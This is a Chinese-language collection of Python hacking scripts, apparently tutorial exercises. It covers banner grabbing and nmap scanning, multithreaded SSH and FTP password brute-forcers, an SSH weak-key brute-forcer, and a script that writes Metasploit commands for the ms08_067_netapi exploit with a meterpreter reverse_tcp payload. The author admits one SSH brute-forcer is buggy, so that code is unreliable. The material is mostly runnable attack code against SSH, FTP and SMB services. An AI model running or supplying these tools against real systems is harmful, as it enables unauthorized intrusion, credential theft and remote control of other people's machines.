TCP連接掃描、抓取應用的Banner
#coding=utf-8 from socket import * from threading import * #定義一個信號量 screenLock = Semaphore(value=1) def ScanBanner(addr,port): try: conn = socket(AF_INET,SOCK_STREAM) conn.connect((addr,port)) conn.send(bytes("hello lyshark\r\n",encoding="utf-8")) res = conn.recv(200) # 加鎖 screenLock.acquire() print("[+] 主機: {} Banner: {}".format(addr,res)) except Exception: # 加鎖 screenLock.acquire() print("[-] 主機: {} 不存在或已經關閉.".format(addr)) pass finally: # 執行釋放鎖的操作 screenLock.release() conn.close() setdefaulttimeout(1) for i in range(0,25): a = "192.168.1.{}".format(i) t = Thread(target=ScanBanner,args=(a,80)) t.start()
使用nmap端口掃描代碼
需要 pip install python-nmap
#coding=utf-8
# >>> nm = nmap.PortScanner()
# >>> nm.scan("192.168.1.1-20","21,22,80,45,135","-sV")
# >> nm.scan(hosts="192.168.1.20",arguments="-n -sP -PE -PA21,22,80
import nmap import optparse def nmapScan(tgtHost,tgtPort): #創建一個PortScanner()類對象 nmScan = nmap.PortScanner() #調用PortScanner類的scan()函數,將目標和端口作為參數輸入並進行nmap掃描 nmScan.scan(tgtHost,tgtPort) #輸出掃描結果中的狀態信息 state = nmScan[tgtHost]['tcp'][int(tgtPort)]['state'] print '[*] ' + tgtHost + " tcp/" + tgtPort + " " + state def main(): parser=optparse.OptionParser("[*] Usage : ./nmapScan.py -H <target host> -p <target port[s]>") parser.add_option('-H',dest='tgtHost',type='string',help='specify target host') parser.add_option('-p',dest='tgtPorts',type='string',help='specify target port[s]') (options,args)=parser.parse_args() tgtHost = options.tgtHost tgtPorts = str(options.tgtPorts).split(',') if (tgtHost == None) | (tgtPorts[0] == None): print parser.usage exit(0) for tgtPort in tgtPorts: nmapScan(tgtHost,tgtPort) if __name__ == '__main__': main()
用Pexpect與SSH交互
需要先下載Pexpect:pip install pexpect 該工具只能在linux系統中使用,且可以登錄ftp等,不局限於ssh
#coding=utf-8 import pexpect from threading import * def SSHConnect(Host,User,Password,Port): PROMPT = ["# ",">>> ","> ","\$ "] ssh_newkey = 'Are you sure you want to continue connecting' connStr = 'ssh ' + User + '@' + Host + ' -p ' + Port try: # 為ssh命令生成一個spawn類的對象 child = pexpect.spawn(connStr,timeout=1) # 期望有ssh_newkey字符、提示輸入密碼的字符出現,否則超時 ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: ']) if ret == 0: return 0 if ret == 1: # 發送yes回應ssh_newkey並期望提示輸入密碼的字符出現 child.sendline('yes') ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: ']) if ret == 0: return 0 # 發送密碼 child.sendline(Password) child.expect(PROMPT) return 1 except Exception: pass return 0 child = SSHConnect("192.168.1.20","root","123","22") print(child)
pexpect 登錄執行命令
#-*- coding:UTF-8 -*- import pexpect def ssh(user,host,password,port,command): child = pexpect.spawn('ssh -l %s %s -p %s %s' %(user,host,port,command)) # 0 : 連接超時 # 1 :ssh有時候提示你是否確認連接 # 2 :提示輸入密碼 # 3 :匹配到#號,表示命令已經執行完畢 ret = child.expect([pexpect.TIMEOUT, 'Are you sure you want to continue connecting','[Pp]assword:',r"([^-]>|#)"]) if ret == 0: # 連接超時 return 0 elif ret == 1: # SSH提示你是否確認連接 child.sendline ('yes') # 我們輸入yes child.expect ('password: ')# 輸入yes后應該提示輸入密碼,我們再次期待 password ret = child.expect([pexpect.TIMEOUT, 'password: ']) if ret == 0: # 連接超時 return 0 ret = child.sendline(password) if ret == 5: child.expect(pexpect.EOF) return child.before return 0 if __name__ =='__main__': try: host='192.168.1.20' user="root" password = '1233' command="ifconfig" child = ssh(user,host,password,"22",command) print(child) except Exception as e: print (e)
用pexpect 暴力破解SSH密碼
#coding=utf-8 import pexpect import os,sys import threading from optparse import OptionParser def SSHConnect(Host,User,Password,Port): PROMPT = ["# ",">>> ","> ","\$ "] ssh_newkey = 'Are you sure you want to continue connecting' connStr = 'ssh ' + User + '@' + Host + ' -p ' + Port try: # 為ssh命令生成一個spawn類的對象 child = pexpect.spawn(connStr , timeout=1) # 查詢是否存在 ssh_newkey 里面的字符串、提示輸入密碼的字符出現,否則超時 ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: ']) if ret == 0: return 0 if ret == 1: # 發送yes回應ssh_newkey並等待,提示輸入密碼的字符出現 child.sendline('yes') ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: ']) if ret == 0: return 0 # 發送密碼 child.sendline(Password) child.expect(PROMPT) return 1 except Exception: pass return 0 def ThreadBlast(Host,User,Password,Port,semaphore): # 加鎖 semaphore.acquire() RetCode = SSHConnect(Host,User,Password,Port) if RetCode == 1: print("[+] --> 主機: {} 狀態碼: {} -------> 密碼: {}".format(Host,RetCode,Password)) else: # 釋放鎖 print("[-] --> 主機: {} 狀態碼: {}".format(Host,RetCode)) semaphore.release() if __name__ == "__main__": parser = OptionParser() parser.add_option("-H","--host",dest="host",help="set host 192.168.1.1") parser.add_option("-u","--user",dest="user",help="set user root") parser.add_option("-p","--port",dest="port",help="set port 22") parser.add_option("-f","--file",dest="file",help="set file wordlist.log") (options,args) = parser.parse_args() if options.host and options.user and options.port and options.file: # 設置線程鎖,每次執行5個線程 semaphore = threading.Semaphore(5) fp = open(options.file,"r") PassList = fp.readlines() for item in PassList: t = threading.Thread(target=ThreadBlast,args=(options.host,options.user,item,options.port,semaphore)) t.start() else: parser.print_help()
關於有時,密碼失敗已經解決了,如下圖,這里我就不貼代碼了,上面代碼有點問題的,自己改改吧。
用pxssh 暴力破解SSH密碼
# -*- coding: utf-8 -*- import optparse from pexpect import pxssh import time from threading import * maxConnections = 5 connection_lock = BoundedSemaphore(value=maxConnections) Found = False Fails = 0 def connect(host, user, password, release): global Found global Fails try: s = pxssh.pxssh() s.login(host, user, password) print("[+] Password Found " + password) Found = True except Exception as e: if "read_nonblocking" in str(e): Fails += 1 time.sleep(5) connect(host, user, password, False) elif "synchronize with original prompt" in str(e): time.sleep(1) connect(host, user, password, False) finally: if release: connection_lock.release() def main(): parser = optparse.OptionParser("usage%prog" + "-H <target host> -u <user> -F <password list>") parser.add_option("-H", dest="tgtHost", type="string", help="specify target host") parser.add_option("-u", dest="user", type="string", help="specify the user") parser.add_option("-F", dest="passwordFile", type="string", help="specify password file") options, args = parser.parse_args() host = options.tgtHost passwdFile = options.passwordFile user = options.user if host is None or passwdFile is None or user is None: print(parser.usage) exit(0) fn = open(passwdFile, "r") for line in fn.readlines(): if Found: # 如果發現了密碼就退出 print("[*] Exiting: Password Found") exit(0) if Fails > 5: print("[!] Too Many Socket Timeouts") exit(0) connection_lock.acquire() password = line.strip("\r").strip("\n") print("[-] Testing: " + str(password)) t = Thread(target=connect, args=(host, user, password, True)) t.start() if __name__ == "__main__": main()
利用SSH中的弱密鑰
使用密鑰登錄ssh時,格式為:ssh user@host -i keyfile -o PasswordAuthentication=no
#!/usr/bin/python #coding=utf-8 import pexpect import optparse import os from threading import * maxConnections = 5 #定義一個有界信號量BoundedSemaphore,在調用release()函數時會檢查增加的計數是否超過上限 connection_lock = BoundedSemaphore(value=maxConnections) Stop = False Fails = 0 def connect(host,user,keyfile,release): global Stop global Fails try: perm_denied = 'Permission denied' ssh_newkey = 'Are you sure you want to continue' conn_closed = 'Connection closed by remote host' opt = ' -o PasswordAuthentication=no' connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT,perm_denied,ssh_newkey,conn_closed,'$','#', ]) #匹配到ssh_newkey if ret == 2: print '[-] Adding Host to ~/.ssh/known_hosts' child.sendline('yes') connect(user, host, keyfile, False) #匹配到conn_closed elif ret == 3: print '[-] Connection Closed By Remote Host' Fails += 1 #匹配到提示符'$','#', elif ret > 3: print '[+] Success. ' + str(keyfile) Stop = True finally: if release: #釋放鎖 connection_lock.release() def main(): parser = optparse.OptionParser('[*] Usage : ./sshBrute.py -H <target host> -u <username> -d <directory>') parser.add_option('-H',dest='host',type='string',help='specify target host') parser.add_option('-u',dest='username',type='string',help='target username') parser.add_option('-d',dest='passDir',type='string',help='specify directory with keys') (options,args) = parser.parse_args() if (options.host == None) | (options.username == None) | (options.passDir == None): print parser.usage exit(0) host = options.host username = options.username passDir = options.passDir #os.listdir()返回指定目錄下的所有文件和目錄名 for filename in os.listdir(passDir): if Stop: print '[*] Exiting: Key Found.' exit(0) if Fails > 5: print '[!] Exiting: Too Many Connections Closed By Remote Host.' print '[!] Adjust number of simultaneous threads.' exit(0) #加鎖 connection_lock.acquire() #連接目錄與文件名或目錄 fullpath = os.path.join(passDir,filename) print '[-] Testing keyfile ' + str(fullpath) t = Thread(target=connect,args=(username,host,fullpath,True)) child = t.start() if __name__ =='__main__': main()
使用Ftplib暴力破解FTP用戶口令
通過ftplib模塊,結合讀取含有密碼的文件來實現FTP用戶口令的破解
#!/usr/bin/python #coding=utf-8 import ftplib def bruteLogin(hostname,passwdFile): pF = open(passwdFile,'r') for line in pF.readlines(): username = line.split(':')[0] password = line.split(':')[1].strip('\r').strip('\n') print '[+] Trying: ' + username + '/' + password try: ftp = ftplib.FTP(hostname) ftp.login(username,password) print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password ftp.quit() return (username,password) except Exception, e: pass print '\n[-] Could not brubrute force FTP credentials.' return (None,None) host = '10.10.10.128' passwdFile = 'ftpBL.txt' bruteLogin(host,passwdFile)
在FTP服務器上搜索網頁
有了FTP服務器的登錄口令之后,可以進行測試該服務器是否提供Web服務,其中檢測通過nlst()列出的每個文件的文件名是不是默認的Web頁面文件名,並把找到的所有默認的網頁都添加到retList數組中
#!/usr/bin/python #coding=utf-8 import ftplib def returnDefault(ftp): try: #nlst()方法獲取目錄下的文件 dirList = ftp.nlst() except: dirList = [] print '[-] Could not list directory contents.' print '[-] Skipping To Next Target.' return retList = [] for filename in dirList: #lower()方法將文件名都轉換為小寫的形式 fn = filename.lower() if '.php' in fn or '.asp' in fn or '.htm' in fn: print '[+] Found default page: '+filename retList.append(filename) return retList host = '10.10.10.130' username = 'ftpuser' password = 'ftppassword' ftp = ftplib.FTP(host) ftp.login(username,password) returnDefault(ftp)
編寫Python腳本與Metasploit交互
在findTgts()函數中實現對整個網段的主機445端口的掃描,setupHandler()函數實現目標主機被攻擊后進行遠程交互的監聽器的功能
#!/usr/bin/python #coding=utf-8 import nmap def findTgts(subNet): nmScan = nmap.PortScanner() nmScan.scan(subNet,'445') tgtHosts = [] for host in nmScan.all_hosts(): #若目標主機存在TCP的445端口 if nmScan[host].has_tcp(445): state = nmScan[host]['tcp'][445]['state'] #並且445端口是開啟的 if state == 'open': print '[+] Found Target Host: ' + host tgtHosts.append(host) return tgtHosts def setupHandler(configFile,lhost,lport): configFile.write('use exploit/multi/handler\n') configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n') configFile.write('set LPORT ' + str(lport) + '\n') configFile.write('set LHOST ' + lhost + '\n') configFile.write('exploit -j -z\n') #設置全局變量DisablePayloadHandler,讓已經新建一個監聽器之后,后面的所有的主機不會重復新建監聽器 #其中setg為設置全局參數 configFile.write('setg DisablePayloadHandler 1\n') def confickerExploit(configFile,tgtHost,lhost,lport): configFile.write('use exploit/windows/smb/ms08_067_netapi\n') configFile.write('set RHOST ' + str(tgtHost) + '\n') configFile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n') configFile.write('set LPORT ' + str(lport) + '\n') configFile.write('set LHOST ' + lhost + '\n') #-j參數表示攻擊在后台進行,-z參數表示攻擊完成后不與會話進行交互 configFile.write('exploit -j -z\n')